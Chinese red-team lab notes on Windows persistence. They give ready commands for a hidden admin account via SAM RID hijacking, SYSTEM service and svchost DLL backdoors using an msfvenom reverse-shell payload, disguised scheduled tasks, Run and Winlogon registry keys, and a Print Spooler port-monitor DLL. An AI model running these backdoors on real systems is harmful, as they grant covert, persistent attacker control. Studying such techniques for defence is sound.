权限维持-系统后门
权限维持,作为红队行动中的重要组成部分,在此篇笔记进行学习。
实验环境为windows server 2012 ,未安装任何软硬件。vmware workstation 17
1:创建影子账户
隐藏的账户,无论通过计算机管理,还是命令行查询,都无法看到,只能在注册表看到其信息。
条件:拥有管理员权限
利用:
net user shadow$ Hacker@123 /add
此时初步拥有了一个隐藏账户,接下来我们要让他还有管理员权限,和采取更加隐蔽的措施
打开注册表:
HKEY_LOCAL_MACHINE\SAM\SAM
右键,修改权限:
重启下regedit。
找到Administrator:
找到其对应的000001F4(在Names里点Administrator即可查看)
复制F里的内容。
找到shadow$对应的内容,把复制的内容粘贴到其F内
相当于劫持了Administrator的RID。
- 什么是RID?
RID是SID的一部分,用于标识同一个安全主体的不同实例,你可以看做是类与实例化对象的区别
此时权限提升完毕,但是我们还是可以在管理用户界面看到shadow$用户。
将shadow$和00003EA导出。
删除:
net user shadow$ /del
然后打开注册表,再导入。
此时shadow$用户拥有管理员权限,并且只能在注册表看到它。
测试:使用runas命令运行shadow的cmd
如图,完全成功。
2:系统服务后门
众所周知windows后台一堆服务,其中包含勾八的自动更新服务一声不响给你电脑重启了。
同样的,服务也可以作为后门程序。
利用条件:
管理员权限
原理:
其实和服务路径劫持差不多,把服务路径信息换成自己的payload,服务重启后会再次获得权限。
1:自己创建服务:
sc create Hacker101 binPath= “cmd.exe /k C:\Users\Administrator\Desktop\shell.exe” start= “auto” obj= “LocalSystem”
#等号后面必须有空格。
#start指定启动类型,obj指定运行权限,为SYSTEM。
当系统或服务重启,将以SYSTEM权限运行反弹shell.exe
2:利用现有的系统服务。
见系统服务提权部分。
3:svchost.exe
很熟悉的名字。svchost是Windows的系统文件。
许多dll的启动,需要将其注入进svchost.exe才可以启动,故进程中存在多个svchost.exe也是正常的。
我们以wuauserv为例子。
其ImagePath为svchost.exe
然后看Parameters:
是个dll。
-k netsvcs 这个是表示该服务属于netsvcs这个服务组。通常,每个svchost负责运行一组服务。
所以并不是每启动一个服务就要添加一个svchost进程。
如果要查看svchost的所有,在:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
- 实战中,由于是将恶意服务的dll加载到svchost进程,这个恶意进程还不是独立运行的,故拥有很高的隐蔽性。
msfvenom生成反弹shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.132 lport=6666 -f dll > reverse_tcp.dll
- 不要用Powershell:
sc create Backdoor binpath= “C:\Windows\system32\svchost.exe -k netsvc” start= “auto” obj= “LocalSystem”
设置加载dll:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Backdoor\Parameters /v ServiceDll /t REG_EXPAND_SZ /d “C:\Windows\System32\reverse_tcp.dll”
设置服务描述:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Backdoor /v Description /t REG_SZ /d “Windows Service”
设置显示名称:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Backdoor /v DisplayName /t REG_SZ /d “Backdoor”
创建新分组netsvc,并将backdoor加进去
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost” /v netsvc /t REG_MULTI_SZ /d Backdoor
系统重启时,Svchost以SYSTEM权限加载恶意服务,目标主机上线。
- 没成功
3:计划任务后门
典中典了属于是。
schtasks /Create /TN Backdoor /SC minute /MO 1 /TR C:\Windows\System32\shell.exe /RU System /F
执行以下命令,在目标主机上创建一个名为 Backdoor 的计划任务,每 60 秒以 SYSTEM 权限运行一次后门程序 shell.exe。
# /TN,指定要创建的计划任务的名称
# /SC,指定计划任务执行频率
# /MO,指定计划任务执行周期
# /TR,指定计划任务运行的程序路径
# /RU,指定计划任务运行的用户权限
# /F,如果指定的任务已经存在,则强制创建
如图,成功上线。
查看计划任务:
注:点击“任务计划程序库”
为了隐蔽性。我们可以按照其规范创建,如创建一个AppTask:
schtasks /Create /TN \Microsoft\Windows\AppTask\AppRun /SC daily /ST 08:00 /MO 1 /TR C:\Windows\System32\shell.exe /RU System /F
如图,这样就不能直接看到了。
4:启动项/注册表键建立后门
1:系统启动文件夹:
将程序放置到启动文件夹中会导致该程序在用户登录时执行。
Windows系统有两种常见的启动文件夹。
# 位于以下目录中的程序将在指定用户登录时启动
C:\Users[Username]\AppData\Roaming\Microsoft\Windows\Start
C:\Users[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
# 位于以下目录中的程序将在所有用户登录时启动
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
2:运行键(Run Keys):
windows有很多注册表项可以用来设置在系统启动或用户登录时运行指定的程序或加载指定dll文件。
用户登录时,系统会依次检查注册表运行键中的程序。
利用条件:
看情况,如果修改HKEY_LOCAL_MACHINE需要管理员权限。
# 以下注册表项中的程序将在当前用户登录时启动
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
# 以下注册表中的程序将在所有用户登录时启动
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
添加一个Backdoor的键,键值指向后门程序的绝对路径
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v Backdoor /t REG_SZ /d “C:\Windows\System32\shell.exe”
成功上线!
3:Winlogon Helper:
Winlogon 是 Windows 系统的组件,用于处理与用户有关的各种行为,如登录、注销、在登录时加载用户配置文件、锁定屏幕等。这些行为由系统注册表管理,注册表中的一些键值定义了在 Windows 登录期间会启动哪些进程。
hacker 可以滥用此类注册表键值,使 Winlogon 在用户登录时执行恶意程序,以此建立持久化后门。
常见的有以下两个:
# 指定用户登录时执行的用户初始化程序,默认为 userinit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
# 指定 Windows 身份验证期间执行的程序,默认为 explorer.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell
如,利用第一个:
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v Userinit /d “C:\Windows\system32\userinit.exe,shell.exe” /f
5:Port Minitors
打印后台处理服务(Print Spooler)负责管理 Windows 系统的打印作业。与该服务的交互是通过 Print Spooler API 执行的,其中包含 AddMonitor 函数,用于安装 Port Monitors(本地端口监听器),并连接配置、数据和监视器文件。AddMonitor 函数能够将 DLL 注入 spoolsv.exe 进程,以实现相应功能,并且通过创建注册表键,hacker 可以在目标系统上进行权限持久化。
利用条件:Administrator。系统重启
1:msf生成恶意dll
2:将生成的 DLL 上传到目标主机的 C:\Windows\system32 目录中,执行一下命令,通过编辑注册表安装一个端口监视器。
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\TestMonitor” /v “Driver” /t REG_SZ /d “reverse_tcp.dll”
系统重启时,Print Spooler服务在启动过程中会读取Monitors注册表项的所有子键。
并以SYSTEM权限加载Driver键值指定的DLL文件。